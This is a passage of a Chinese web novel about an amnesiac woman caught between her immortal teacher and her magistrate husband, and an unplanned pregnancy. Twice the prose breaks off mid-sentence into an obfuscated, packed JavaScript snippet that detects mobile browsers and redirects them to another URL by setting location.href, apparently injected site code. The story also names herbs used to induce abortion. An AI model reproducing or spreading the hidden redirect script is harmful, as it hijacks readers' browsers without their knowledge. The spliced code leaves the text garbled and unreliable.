我趴在地上,手指在床底下来回摸索。屋子会有人隔三差五地清扫,好在没有摸出一手黑。 枕头床铺都翻了个面,就是没有。 奇了怪了。 又不是神器时期的发簪,怎么能平白无故消失呢。 想到这儿,我忽然担心起步摇也不见了,赶紧给头摸了个遍。 “呼——还在。” 耳边忽然传来轻微的脚步声,瞥见门口是一抹深色的影子,以为是颜卿,便头也不抬地继续找。 “特地等了一会儿才进门,发簪找到了吗?” 一道低沉的声音从身后传来,语气中带着几分戏谑。 我愣了一下,这声音……感觉不太对呢。 但没多想,顺着他的话回答。 “我忘记放哪儿去了,首饰盒床底下都找不到。” “很贵重吗?要不要我派人再去凉亭找找?” 他走到我身后,语气清淡。 我朝身后之人摆了摆手。 “太兴师动众了。应该是被我睡迷糊放哪了吧。没事儿,一般找不到的东西,等不想找了,它自己就出来了。” 我撑着膝盖起身,拍了拍裙摆上的灰尘。 “唉,我还挺喜欢那支青竹发簪的。” “既然喜欢,都不知道好生保管。” 头顶之人温柔地呵斥,我拍着衣袖上的灰尘笑着回应他。 “唔,颜大人教训的是,我下次一定长记性——” 缓缓抬头,映入眼帘的是一袭深色长袍,衣摆绣着暗纹,显得沉稳而内敛。再往上看,熟悉的面容让我心头一紧,差点忘了该怎么说话。 “颜……砚清?!” 我瞪大了眼睛,声音有些发颤。嘴角开始微微抽动起来,哆嗦着小声询问。 “你……您怎么……” 柳砚清微微俯身,目光落在我凌乱的发间,抬手捻去发间的一缕绒毛,语气淡淡的。 “为师来看望下山的徒儿,有问题吗。” 他直起身,眼神依旧牢牢锁在我身上。 “上次跟着野男人回家,这次就直接嫁给别人了吗?” 他的声音陡然冷了下来,眼神如刀锋般锐利,直直刺入我的心底。 “不……我……我这是……” 我慌乱地想要解释,却被他冷冷打断。 “闭嘴。” 冰冷的手指捏住我的下巴,不由分说堵住我的嘴。 我下意识地屏住呼吸,心跳如鼓,脸颊不受控制地烧了起来。 这里是信州府啊!待会被人撞见怎么办啊! 待他稍稍离开一点,我貌似是石化了,半天做不出反应。 “让你闭嘴,不是让你别呼吸。”他垂下眼眸,抚摸我滚烫的脸颊,“脸涨得通红,病了?” 我吓得一激灵,赶紧看看门外,抬起手臂挡在脸前。 “我又不是因为这个脸红……” 我低声反驳,声音细如蚊呐,却被他听得一清二楚。 他微微挑眉,唇角勾起一抹意味深长的笑意,缓缓俯身贴近我的耳畔,将我的手臂压下。 “那是因为什么?” 温热的气息拂过耳畔,我浑身一颤,下意识地缩了缩脖颈,却被他一把钳住下巴。 “你说,我该如何罚你?” 我张了张嘴,却发现自己一个字也说不出来。他的眼神太过炽热,仿佛要将我整个人吞噬。我低下头,避开他的目光,心跳却愈发急促。 “不说话?”他轻轻捏了捏我,“那便由我来决定了。” 我猛地抬头,正对上他那双深邃的眼眸,心中顿时涌起一股不祥的预感。 还未等我反应过来,他已俯身而下,唇瓣轻轻覆上了我的。 那一瞬间,我的脑海中一片空白,唯有他的气息充斥在鼻间,温热而霸道。我想要推开他,却发现自己浑身无力,只能任由他肆意索取。 仙人的衣袖轻轻一挥,远处的门被关上。 窗外艳阳高照,信州府上下忙里忙外。有一只鸟在门外的矮树丛中欢叫,迎上另一只鸟时,啼声特别响亮。时不时跳到另一只的背上,踩弄它的翅膀。两只鸟儿不知休止地扑棱,又飞到另一处草丛中,继续嬉戏。啼声不止,却也引不来注意。偶尔有人察觉,也只当时鸟雀间的玩闹罢了。 霎时,烟滞,云停。 这间屋子似乎被世间遗忘,无人叨扰。 良久,他才缓缓松开我,揽着我的身体靠近他的怀里。 “你这么不听话,我是不是该把你带回医鹿山关起来?” 头顶的声音漫不经心说着骇人的话。 我眼神躲闪,扯了扯身上的被子。 “是你放我走的。” “那也不是让你下山三番五次跟男人回家。” “我——” 我无法反驳。也无力反驳。 我撑起脑袋忘了眼窗棂处透进来的光线,时间仿佛被静止一般,光线的角度没有丝毫变化。 “师尊为了罚我,还用法术静止了时间?” 他低头蹭了蹭我的发顶。 “这算是……惩罚吗?” 我嗤笑,攀上他的脖颈,唇瓣点上他的。 “不算。” 我猜,我的骨子里有一根重生前留下的贪欲之骨。 一面心怀愧疚,觉得对不起刚成婚的夫君。一面享受千里寻来的师尊编织的罪孽之网。 能想通为什么是找九个男人了。能得罪欺骗足足九个男人,从前的我,色欲上头,一定做得出来。 那么问题来了,我竟然没有意外怀孕?! 难道,神仙的法术可以避孕?!或者说,这世间的某个角落,藏着我的亲骨肉?! 想到这儿,我不禁笑出声来。 我的想象力是不是太强了。 吃过晚膳,我邀颜卿去散心。顺路来到信州河岸边的竹馆。竹馆自然载满了竹,各种各样的竹,竹林茂盛,一阵风来,吹得竹林沙沙作响。白日里,竹馆是书生子弟的学堂。此时悄无人声,唯有月光洒落。 我望向身边并肩而行的颜卿,挽上他垂下的手臂。 “对了颜卿,你以前……有没有送过我什么宝贵之物?” 他歪了歪头,思考了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100216|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻。 “好像没有。有什么想要的吗,我送你。” “不是不是,我是担心如果丢了……” 毕竟闻笙送我的发簪,转眼就不见。不出意外的话,是找不回来了。 颜卿垂眸笑了笑。 “丢了也无妨。毕竟在我眼中,任何奇珍异宝都比不上你珍贵。” 我一面感叹颜卿撩人的情话说得越发顺口,一面后知后觉。 “等等,你的意思是……我真丢了什么?!” 颜卿没有说话,只是将视线投向了街市上的夜灯惶惶。灯火与缓缓降临的夜色一同铺在信州府里,河清海晏百姓安康…… “我从未离开过信州府,因为怕你某一日回来找不到我,找不到可以留宿的居所。” 他突然开口。我默默看向他的侧脸。 “于是八年间,我不断盼着你回来,护着一方平安,希望你再次归来时,这里的一切仍旧如你所愿。” 忽然,眉眼低垂。 “可不知为什么……我总怕这一切又是一场梦……又是你给我编造的幻影……” 苦笑之人对上我的视线。 “你这次回来,还会离开,对吗?” 我轻轻“嗯”了一声,又苦笑着不知从何说起。 “我得去找回遗忘的过去。至少……让我想起,我到底是谁。” 我的声音很轻很轻,也不知是说给颜卿,还是说给自己听。 “等你找到答案的那一天,还会回来吗?” 我遥遥望着河对岸楼台上的灯火,心中一片荒芜。 良久缓缓吐出三个字,我不知道。 重生前的我,正是太爱许下不能实现的诺言,所以换来了无辜之人孤苦漫长等待的岁月。 闻笙的五年,颜卿的八年,柳砚清的三百年。 凡人的寿命太短,不过几个五年几个八年。 若能有什么离别的方式,只当我死了,该多好。 可万一,换来不是有心之人的释然,而是一辈子的心结…… 世间安得双全法。想不通,寻不到。 我对人世间的情爱还是了解的太少,若能当个神仙,看遍人间百态,或许能明白些吧。 “颜卿。” 我轻声唤他。 “如果送你一件礼物,你想要什么?” 怕他有所顾虑,我又继续说道。 “尽管提,只要是我能满足的,哪怕是星星,我也给你。” “好啊。” 他答应得毫不犹豫。 我眨了眨眼。那只是我夸张点的说法,你真要星星……我怎么摘下来。 “嗯——你刚才说要什么?” 我只好假装不晓得他在说什么。 颜卿笑了,攥紧我的手。 “以前对诗,用彼此的名字作诗。你作了‘颜如卿月,诞星辰’。我问你为何意,你说,想摘下一颗天上的星星赠与我,这样,如果那天你不在了,还有星辰陪在我身边。” 恰好,漆黑的夜中有颗星星闪烁。 他忽然俯下身,捧起我的脸,两额相抵。 “我可不可以,找你要一颗星星?” 我抿唇笑了笑。 “星星可不会自己落下来。” 粗糙的指腹擦过我的嘴唇。 “那,我们一起去接她吧。” 27. 三秋桂子 清闲的日子,我打算练练字。随便写写画画,一来打发时间二来闲情逸致。 说不定,后人都来读我的作品,学堂里教授的文章是我写的,先生还会领着弟子们分析“楚大作家”描写某段话时的内心情感—— 想想就有意思。 第一周:楚风姜妍“初相逢” 恰逢颜卿休沐,我邀他随我去瓦肆听戏,虽然担心碰上那位姜姑娘,不过也没有听戏重要。 “听说今天是唱一出新戏。” 我拉着颜卿坐定,茶博士送来新进的绿茶。 不出意外,戏开场前,姜妍出现了。她环视了一圈,目光锁定我后心花怒放,信步朝我走来。 “颜大人和夫人来听戏呢。” 姜妍二话不说便在我身边坐下,隔着我和颜卿颔首行礼。 “许久不见。” 这句话是颜卿说的,我纳闷地看看他,对上他的视线后,又看向姜妍。 “你们认识?” 姜妍窃喜,颜卿替她解释。 “八年前,你非要介绍我认识的好友。” “……” 我眨了眨眼,再次看向姜妍。 她生得眉清目秀,就是肩膀魁梧了些,容貌是女儿之态,行为举止倒英气十足。 我半天没回过神来。 “所以那天你……不是来找我转交生辰八字的?” “废话。”她撑着脑袋,笑盈盈地看着我,“是来确定我是不是看到鬼了。” 忽然想起那日她趁机附上我的脉搏,原来如此。 “那你怎么不早说?我还误会你了。” “对一个失忆有什么好说的。说不成,你还当我是骗子。只好演一出戏咯。” 难怪我见她有种相见恨晚的感觉。 戏子登台,今日讲的是“姮娥奔月”。 云母屏风烛影深,长河渐落晓星沉。嫦娥应悔偷灵药,碧海青天夜夜心。 柳砚清平日里最爱读前朝的诗,此诗我曾在书中见过。 烛光残影,长河斜落,晨星隐没。 碧海青天,夜复一夜煎熬着孤寂的心。 我忽然幻想自己坐在碧海之畔的礁石上,看着人间的生离死别,是会感慨人生有尽头便有盼头,还是寂寥于心苦叹寿命短暂。 少顷,我看向身旁的颜卿。 八年,人生短暂,能有几个八年。 梦中那句“莫要负了真心”,不是我的真心,是颜卿的。所以,我是来圆他与我成亲的梦吗。然后,又离开他。 我咬紧嘴唇,收回视线。 好像,还是错了。 第二周:桂花游仙境遇孩童 一天夜里,桂花做了一个梦。梦中,她恍惚看到有一三岁孩童走来,向她伸手,示意想要一串糖葫芦。 桂花向来喜欢小孩,于是便牵着他的小手去了,街市买了一串巨大的糖葫芦给他。 举着比自己还高的糖葫芦,小孩却笑不出来,沮丧着脸,险些要哭,桂花连忙又买了一串。 “现在有两串糖葫芦了,乖,不哭。” 果然,小孩高兴地笑起来,抓着桂花的指尖,想领她去一个地方。 恍恍惚惚,桂花跟着小孩来到了一处幻境。这里绿树清溪,朱栏白石,桂花以为自己到了仙境,满心欢喜。 又走了几步,桂花随着小孩来到了一处白梅繁盛之地,远远的别人看见雪白的花树下站了一个可爱的小姑娘。 一看便知是小孩的妹妹。 两串糖葫芦俩孩子一人举着一串,高兴坏了。 桂花坐在地上,抱着双膝欣慰地看着他们。 “谢谢桂花姐姐!” “你们认识我?” “嗯!”小姑娘抓住桂花的手指,“我认识你!但哥哥不认识。” 桂花看向哥哥,歪了歪头。 “可哥哥刚才还领我来处啊。” 小姑娘摇了摇头。 “是我告诉哥哥,让他带你来的。” 桂花上下打量乖乖站在一旁的哥哥,从见到他起就没有听到他说话,难道是有哑疾? 只是心想,哥哥像是听到了一般点头回应。 “哥哥不会说话,但能听到姐姐的心声。”小姑娘咬下一口糖葫芦,“哥哥可厉害了!和娘亲一样厉害!” “娘亲?”桂花轻蹙眉头,“娘亲是谁呀?” “不能说。”小姑娘擦着嘴角的糖屑,“不过我的爹爹可以告诉姐姐。” “啊?”桂花不解,“你的爹爹……?” 两个孩子默契地点头。 “我爹爹很厉害的!”她忽然大惊失色似的咬住手指,“忘记桂花姐姐认识爹爹了,嘿嘿。” “我认识?” 桂花不禁开始打量眼前的孩子,哥哥的话确有几分眼熟,但不多。妹妹的话……仔细看看很像谁和谁。 谁呢。自己认识她的爹爹…… “啊!”桂花突然叫出声,“我好像知道你爹爹是谁了!” 桂花梦中惊醒时,不禁大叫“赶快”,一路喊着冲到我的卧室。彼时颜卿早上班去了,留我还在睡梦中。 “夫人!我做梦了!” 她坐在床沿生生把我摇醒。看到她笑嘻嘻地来,也不好苦皱着脸打发,只好拍了拍床沿让她坐。 最近不知为何老是犯困,根本提不起精神。 我趴在被窝里,敷衍地哼了声。 “我梦见大人和夫人的孩子了!一男一女,长得特可爱!” “嗯——恭喜。” “是恭喜夫人啊!”她一面回忆梦中的场景,一面感慨,“那姑娘简直就是大人和夫人的亲女儿!” 我有气无力地笑了声,“你都说是我孩子了,还能不像吗。” “也是。”说错了话也不尴尬,桂花反而笑得更开心,“我觉得这梦来得正是时候!说不定,夫人您有身孕了呢。” 我闷哼着转了个身,困到不能自己。 “嗯,我再睡会,不用叫我起来用膳。” “行,那夫人好好休息,我晚点来看您。” 第三周:…… 困了一周,不知道写点什么好。 那就:七日无事,夏蝉鸣叫,卧床休憩时只觉吵闹。 听说乡下有人喜欢吃蝉,不晓得能不能把信州府的蝉都给吃了。 第四周:笔都要握不住了…… 继犯困之后胃病来袭。一定是夏日炎炎食物容易变质,我又热茶冷食换着吃,才酿成如此局面。 从没觉得茅厕离卧室那么远,跑慢一点,都要……还是被说了,又要吐了。 颜卿进京述职已有一月,不晓得好久回来。每到一处会寄一封信回来保平安,信尾必定是那句“很快回来”。 第五周:百安大夫论病穷源 最近反胃的情况越发严重。 又怕病情反反复复,颜卿回来见状担心,更担心李叔将此事告知颜卿,他心一急不好好工作咋整。 于是,我悄悄背着桂花和李叔去了趟百安堂,信州府最靠谱的医馆,早治疗早健康。 大夫摸了摸我的脉搏,平静的脸上忽然浮出笑。 “恭喜夫人。” “恭喜?” 我生场病难受得要死,他竟然跟我道喜?我是不是找错地方了,不是百安堂,该去找千安堂? “恭喜大人和夫人有喜了。” 我原地僵住。 “夫人不是脾胃不适反胃,是怀有身孕时的孕吐反应。这是正常反应,夫人不必担心。注意营养摄入,吐得难受也要吃东西啊。也有安胎的方子,如——” 我忙打住他。 “怀……你是说我肚子里……” “是的。”大夫温和地说,满脸慈爱,“恭喜夫人怀有身孕,看样子,该有五六周了。” 五六周?一个多月前?六月下旬? 离开百安堂,我选了回信州府相反的方向,去了竹馆。 那晚,竹馆。那天,柳砚清。 所以……腹中孩子,是谁的? 不敢想此事有多荒谬。甚至庆幸起柳砚清和颜卿有几分相像。 我咬住嘴唇,掌心覆上平坦的肚子。 “我该拿你怎么办……” 第六周:姜妍戏说楚腹中孩 天花粉、麝香、藏红花、桃仁、莪术、三棱、斑蝥、大戟、巴豆…… 学医以来,恐怕是我第一次如此钻研一剂方子。 堕胎的药煮了一次又一次,难闻的涩味下吐得越发厉害。 纠结辗转了数日,我还是决定把孩子生下来。虽然他还不算个人,但…… 我做不到。 为了了解怀孕期间需要注意什么,我支开桂花,带上姜妍陪我去找信州最靠谱的妇科大夫。一个人终究不敢面对,家里人怕走漏风声,能依靠的只有姜妍了。 简单警告过大夫不许泄漏秘密后,大夫向我罗列了一整张纸的注意事项。 “太复杂了吧……我到底是怀孕了还是病入膏肓了?” “欸,别说不吉利的话。宝宝在肚子里是听得到的。” 这样说着,姜妍的掌心温柔地覆上我平坦的肚子。 “别听你娘乱讲话。要乖乖长大,平安出生呀。” “你怎么比我还上心? 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“不是吧……” 明明是她自己取的,转眼露出不满意的表情。 “要是个女孩子,多不合适,一点不淑女。” “我觉得星辰挺好的。” 不管是柳星辰还是颜星辰。后半句没敢说出口罢了。 今日是颜卿归家之日,我匆匆同姜妍告别回府。 听闻他已经到了,正在书房整理,我迫不及待去寻他。 正要习惯性地推开颜卿的书房门,我的手一顿,霎时想起自己手上还拿着“孕妇保胎注意事项”。 还不能被颜卿知道,哪儿知道这孩子是谁的,千万不能暴露。 我将担心快速藏进袖子里,匆匆忙忙跑回卧室。 糟糕,忘了现在两个人住一间房了,我能藏哪儿呢。 “你回来了。” 温柔的声音从背后响起,我赶忙捏紧袖口,生怕东西从里面溜出来。 颜卿也听到我回家消息,赶来见我。 “你你你你忙完啦。” 许久不见,竟是这副展开。 他想上前拥住我,但看我神神秘秘的样子,不禁打量起来。 “你在找什么?袖子怎么了?” “啊?没什么。刚才沾到水打湿了,我给捂热乎些。” 干笑两声,我生怕漏馅,赶紧小跑到衣柜前,作势开始找衣服。 “穿哪件好呢……” 颜卿突然走到我身后,轻轻拥住我,头靠上我的肩头。我心里一惊,手忙脚乱地将那张“注意事项”塞进衣裳堆里。赶忙关上衣柜门,转身回拥住他,指尖微微发颤。 “怎么突然……” 所幸他并未察觉我的异样,只是将头埋得更深了些,温热的气息拂过我的耳畔。 “方才见你神色有异,还以为我不在的期间你受了什么委屈。” 我心中一暖,轻轻拍了拍他的背。 “好得很呢,出门逛街大家都热情招呼我呢。” 他抬起头,目光深邃,似要看进我心里。我避开他的视线,轻咳两声。 “后院新栽了些花,我带你去看看?” 他点了点头,牵起我的手,指尖的温度透过掌心传来。思绪纷乱如麻,我心虚地紧扣他的五指。 园中花木扶疏,微风拂过,带来阵阵清香。他走在我身侧,步履沉稳,偶尔侧首看我一眼,目光温柔似水。我心中却如压了一块巨石,既贪恋此刻的安宁,又担忧那未了的秘密终有一日会被揭开。 “你今日似乎心不在焉。”他忽然停下脚步,转身面对我,眉头微蹙。 “哪有,只是……只是有些累了。” 我别开视线,不敢看他。 他伸手抚上我的脸颊,指尖轻轻摩挲。 “若是累了,便回去歇息吧,莫要勉强。” 我点点头,又摇摇头。领着他在秋千上坐下,缓缓靠上他的肩头。 “好想你。” 他用脸颊蹭了蹭我。 “我也是。那天,我梦到你了。”他浅笑着,“梦到你坐在碧海边,捧着一颗星,说,要把那颗星星送给我。我看到你身边还有一枝白梅,便问你,那梅花可能一并赠与我?谁知,你突然哭了。” “哭了?” “嗯,一直哭。我问你为什么,你也只是摇头不肯说。” “……”我愣了半晌,噗嗤笑道,“好奇怪的梦。” 28. 叶落依枝 “孙寺?” 殿外的声音吸引了孙寺的目光,我也跟随他的视线回头望去。 视线对上的瞬间,我明显感觉到那人眼里的神情变了。 “楚、风?” 我怔愣在原地,目光无法从不远处那个逆光而立的身影上移开。阳光从他背后洒下,将他的轮廓镀上一层淡淡的金边,仿佛从画中走出的仙人。他身形修长挺拔,穿着一袭青色长衫,衣袂随风轻轻摆动,整个人透着一股清雅的书卷气。 他一步步走近,那张脸逐渐清晰起来。眉眼如画,鼻梁高挺,唇线分明,下颌线条干净利落,整张脸既清秀又不失英气。他的眼神清澈明亮,仿佛能洞悉一切,却又带着几分温润如玉的柔和。 恍惚间,似是故人走来。 那张脸渐渐清晰,有一瞬的的错觉,我竟看到了含笑盈盈的柳砚清朝我走来。 当他走到我面前时,我能闻到他身上散发出的淡淡檀香,混合着阳光的味道,令人心神一振。他的脸上写满了见到我的惊讶,那双明亮的眼睛微微睁大,瞳孔中倒映着我的身影。他的嘴唇微微张开,似乎想说些什么,却又一时语塞。 就在此刻,我怀中的神器突然发出一阵轻微的震颤,仿佛在回应他的存在。那是一种只有我能感受到听到的共鸣。 我心头一紧,确信眼前这个人就是我要找的人。 他的目光迅速在我身上扫过,从我的眉眼到我的衣角,仔仔细细地打量着我。他的眼神从最初的惊讶逐渐变得明亮起来,眼中仿佛有星光闪烁,嘴角微微颤动,似乎有千言万语想要倾诉,却又不知从何说起。 他的手指微微抬起,似乎想要触碰我的脸,却又在半空中停住,最终缓缓放下。 气氛变得不可言状。 一旁的孙寺不明所以地望着我们,笑着打破眼前的窘境。 “还以为大人和夫人是同路呢。莫非也是碰巧在此相遇?” 几乎同一时间,我们异口同声回答了他的问题。 “是。” “不是。” 异口同声,倒是默契得很。 我抿紧嘴唇,恨不得把“是”字吞回去。 又在下一秒看向眼前人的同时,和他不约而同嗤笑。 我偷偷瞄了一眼不远处方大仙离开的位置,果然,他站那儿看着呢。 我用口型道了声谢,收回视线,对上眼前人的目光。 此刻还有旁人在场,不便交待我失忆的事情,也不好询问他我的名字。只好见机行事,别露出破绽,等单独相处时再问不迟。 不就是夫人嘛,简单! 我笑着挽上眼前人的手臂。 差点以为是我的错觉,他的身体一下子僵住,手臂不自觉地打直,两手握成拳。 难不成我和这位大人没有过肌肤之亲?我不是他夫人吗,怎么可能连手都没挽过?洞房花烛夜怎么搞的? 许久未见的两人说去清溪山的茶舍小叙片刻,我也跟去了。 从二人的谈话里我获取到了诸多有用的信息。 这位大人姓颜,现任信州知县,今日休沐,特上山拜神祈祷。 分别时,孙寺执意说要目送我们离开自己再上车。 原本也打算和这位颜大人走的我,自然地上了他的马车。 “孙寺已经走了。你可以放心大胆告诉我实情了。” “什、什么实情?” 呜哇,结巴了。 我的演技如此拙劣吗?好歹也是看过数十本话本和几场皮影戏的人,不应该啊。 他歪了歪头,唇角上扬,一副已然看穿我的表情。 谎话既然败露,也别怪我接下来说的事吓唬到你了。 我把自己事情说得云淡风轻,没多说一句,这位大人的表情就越发凝重。是心疼的,担忧的。 故事落幕,他长叹了口气紧紧握住我的手。 “平安回来就好。” 过于平淡的语气,让我不禁怀疑是不是自己讲的不够精彩。 他拍着我的手背,明明自己一脸伤感惆怅,却反倒安慰起我。 马车沿着山路颠簸行进,轩外的天空被染上朱砂色,路过的树冠均被镀上一层金光。 这一天过得太顺利,不免生出一丝担忧。心里空落落的,总感觉缺少了一块。 他坐在我身边,正襟危坐。察觉到我的视线,回以我世间最舒心的笑,清秀的脸庞尽是温柔。 “还不知颜大人姓名?” “颜卿。” “砚清?!”我惊呼。 竟和医鹿山那位仙长同名?!长得相似也就罢了,竟然连名字也相似! 难道眼前的人其实是……! 他笑着抓过我的手,手心朝上,一笔一划写下他的两个。 “颜卿,颜色的颜,君臣之卿,跟前朝名臣颜真卿同字。” 我茅塞顿开,豁然开朗。 又想到刚才瞬间冒出不切实际的想法,只想笑。 “孙寺说,我是你夫人?” 我望向他,对上他看过来的目光。 “是正经拜过堂的夫人吗?” 挽上颜卿手臂的时候我便一直怀疑眼前的男人当真是拜过堂的丈夫吗。如果是,为什么他表现出极其震惊不自然的表情。 颜卿笑了笑,错开视线。 “只差一点。” 他收回覆盖在我手背上的手,我见他眉目间沉了下,犹豫要不要告诉我。 我直勾勾盯着他。 “成亲当天,拜堂之际,你……被人抓走了。” 你以前,和别的男人做过这种事吗? 我,是第一次。 你是我的第一次。以后的,每一次,都只会是你。 黑暗中的声音满是怜爱。 不见他身影,却被一股温暖环抱。我好似依偎在他怀中,静静沉睡。 我梦到了一个叫yanqing的男人。 每次唤出他的姓名,他的耳根总会不自觉染上红晕。 刚才的话,是什么意思?是过去的某段回忆,我所看见的听到的,都是过去的我和yan ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115024|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' qing真切发生过的吗? 如果梦境的画面是过去发生的事,那这个叫yanqing的男人一定知道我的事,保不准他就是知晓我姓名的人。 可—— 可我记不住梦,醒来便全忘了。 颜卿,砚清。 天下真有这么巧的是吗。 马车在颠簸中缓缓前行,我靠在颜卿的肩上,困意渐渐袭来。他的肩膀并不宽厚,,但却给人一种莫名的安心感。我能闻到他身上淡淡的墨香,混合着檀木的气息,许是公堂之上坐得久了染上的吧。不知不觉间,我的眼皮越来越重,最终沉沉睡去。 不知过了多久,马车停了下来。我迷迷糊糊地睁开眼,在颜卿的搀扶下跳下马车。 夜色深沉,街道上空无一人,只有远处传来打更人的梆子声,在寂静的夜里显得格外清晰。 我抬头看向府邸的门匾,“信州府”。 “颜大人果真是信州知县啊。”我笑着转头看向他。 面色憔悴,眼底泛黑,气血不足,骨瘦如柴,善言善面。 哪里有知县的样子。 知县不该是大肚皮、长胡须、眉目凌厉吗? 颜卿似乎察觉到了我的目光,微微侧过脸,轻声道:“夜深了,先进府吧。” 他领着我穿过大堂、二堂、三堂,每一步都配合我的步子走,始终与我并排。 “收拾一间客房出来。”颜卿吩咐道。 先带我认了路,告诉我茅房等地在哪儿后,来人告知客房收拾完毕。 我环顾四周,客房布置得简洁雅致。我转头看向颜卿,故意露出疑惑的神情:“嗯?” 颜卿见我神色有异,环顾了一圈客房,并未发现什么问题,便问道:“可是哪里不合心意?” 我眨了眨眼,故作天真地说道:“我们不是夫妻吗?夫妻不该睡一张床吗?” 颜卿闻言,顿时愣住了。他的耳根以肉眼可见的速度泛红,眼神闪烁,不敢直视我。他轻咳了一声,声音有些发紧:“可、可你记不清过往之事,贸然睡一张床,恐……我怕坏了姑娘清白。” 我看着他窘迫的样子,心中暗笑,继续逗他:“我不记得,你记得啊。苦等多年的妻子终于归家,你难道不想和我多说几句吗?” 颜卿的脸更红了,他低下头,手指无意识地摩挲着袖口,声音轻得几乎听不见:“我自然想,可……” “想就对了,这才像两口子嘛。”我打断他的话,故意摆出一副理所当然的样子,“客房就先这样吧,日后有客人了再住。我行李也不多,就直接住你屋啦。” 颜卿显然被我大胆的言辞吓到了,他的手指微微颤抖,嘴唇动了动,眼神中既有期待,又有犹豫,仿佛在挣扎什么。 本想继续逗他,奈何困意来袭,颠簸了一天,我实在累得慌。见他手足无措,我终于忍不住笑出声来。 “好啦,我开玩笑的。辛苦收拾出来,我便在此住下啦。” 颜卿松了一口气,但眼中却闪过一丝失落。吩咐仆从照顾好我后便离开了。 29. 信州烟雨 次日清晨,天刚亮不久。 本想补足我前日早起流失的睡眠,结果生生被府外的击鼓声吵醒。 被子蒙不住,窗户也关不住,我只好任命穿戴整齐出门去。 前门肯定是不能去了,我选择走后门。 推开门,清晨的雾气还未完全散去,街道上已经聚集了摆摊的商贩。我绕到县衙正门外,站在人群后面,想看看堂堂信州知县是如何办案。 大堂之上,颜卿端坐在案前,神情肃穆,仔细聆堂下百姓的诉状。 我站在人群中,看着他那副认真的模样,心中生出敬佩。仿佛昨晚脸颊涨红羞涩之人与堂上之人毫无关系。忽然明白他的清瘦和憔悴是为何。 亲民清官,长得还帅,不愧是我选中的男人~ 堂下跪着的村民,衣衫朴素,满脸焦急,声音颤抖地说道:“大人,求您为小人做主!我家娘子昨日喝了村里的井水后,突然腹痛难忍,如今已卧床不起。小人怀疑……怀疑有人在井里下了毒!” 颜卿听完,眉头微蹙,沉声问道:“除了你家娘子,可还有其他人出现类似症状?” 村民连忙点头:“有!村里还有几户人家也出现了腹痛的症状,只是没有我家娘子严重。小人担心,若是再这样下去,我家娘子她……” 颜卿神色凝重,立刻吩咐身旁的师爷:“立刻派人去村里查看井水,并请大夫为村民诊治。此事关系重大,本官一定彻查到底!” 村民连连磕头:“多谢颜大人!多谢颜大人!” 颜卿的言行举止中透着一股令人信服的力量,仿佛只要有他在,一切问题都能迎刃而解。身边的信州百姓也开始称赞起他。 明明说的是堂上之人,为何我却突然生出一股害羞。 人群散去,我穿过大堂追上颜卿的步子。 “颜大人!小人有要事相报!” 我沉着嗓子,模仿老婆婆的声音喊住颜卿。 他真以为是有人报案,回过头时,脸上的威严和看到是我时闪出的错愕形成鲜明对比,逗得我嗤笑。 他也扬起唇角,眼中带着几分无奈,却又满是纵容。 “颜大人一大早就工作,辛苦啦。” 我走到他身边,朝他深鞠一躬。 他笑着,修长的手指轻轻将我头上摇摇欲坠的白梅步摇往发髻内一推,动作温柔而细致,仿佛在对待一件珍贵的宝物。他的指尖不经意间触碰到我的耳垂,带来一丝微凉的触感,让我不由得微微一颤。 “吃过早膳没?” 他的声音低沉而温和。 “还没呢,这不等着你一起嘛。” 我仰起头,冲他眨了眨眼,语气中带着几分撒娇的意味。 他闻言,唇角微微上扬,眼中闪过一丝宠溺,却又很快被他压下。即便面对失忆重生的我,他没有选择疏离或是特殊对待,始终保持着恰到好处的温柔,从不越界。可我能感觉到,他的内心深处藏着太多未曾说出口的思念与克制。 “想吃什么?” 他轻声问道,目光落在我的脸上,仿佛在细细描摹我的眉眼。 “嗯……包子馒头米粥面条?” 我歪着头,故作思考状。 “是都吃还是任选其一?” 他自然地接住我的话。 “这个问题,就交给英明的颜大人来定夺啦。” 我笑着将问题抛回给他,眼中满是狡黠。 他无奈地摇了摇头,语气中带着几分宠溺。 “我待会儿还有公务要办,今天就用厨房准备的早膳,晚上我带你去外面的酒楼吃。” “嗯!” 我重重点头,眼中满是期待。 颜卿的目光在我脸上停留了片刻,随即移开,转身吩咐下人准备用膳。他的背影挺拔而清瘦,一身深青色的官服衬得他愈发清冷如玉。我望着他的背影,心中泛起一阵复杂的情绪。 重生前的我,应该没有对颜卿做什么过分,伤害他的事吧……如此温柔之人,要是真做了什么对不起他的事,我会良心不安自残形愧抑郁而终的! 早膳很快端了上来,热气腾腾的包子、白粥和小菜摆满了桌子。不多时又端来一碗素面。颜卿坐在我对面,先替我夹了一个包子。 “是白菜馅儿的,趁热吃。” 我接过包子,咬了一口,满口鲜香。白菜馅一定是我从前最爱吃的,也是现在,从此刻起最爱吃的。 我鼓着脸感叹包子的一绝,抬头看向他时,却发现他的目光正落在我的脸上,眼底满是温柔的笑意。我心中一暖,脸上不由得泛起一丝红晕。 “你也吃啊。”我羞涩着轻声说道。 他点了点头,夹起一块小菜放入口中。 早膳过后,颜卿起身整理官服,准备前往衙门处理公务。我站在门口,目送他离开。他走到门口时,突然在我身边停下脚步,转身看向我。 “我就在二堂,有事来找我便是,不必拘束。” 他的声音低沉而温和。 我笑着点头,挥手与他道别。 他深深地看了我一眼,随即转身离去。 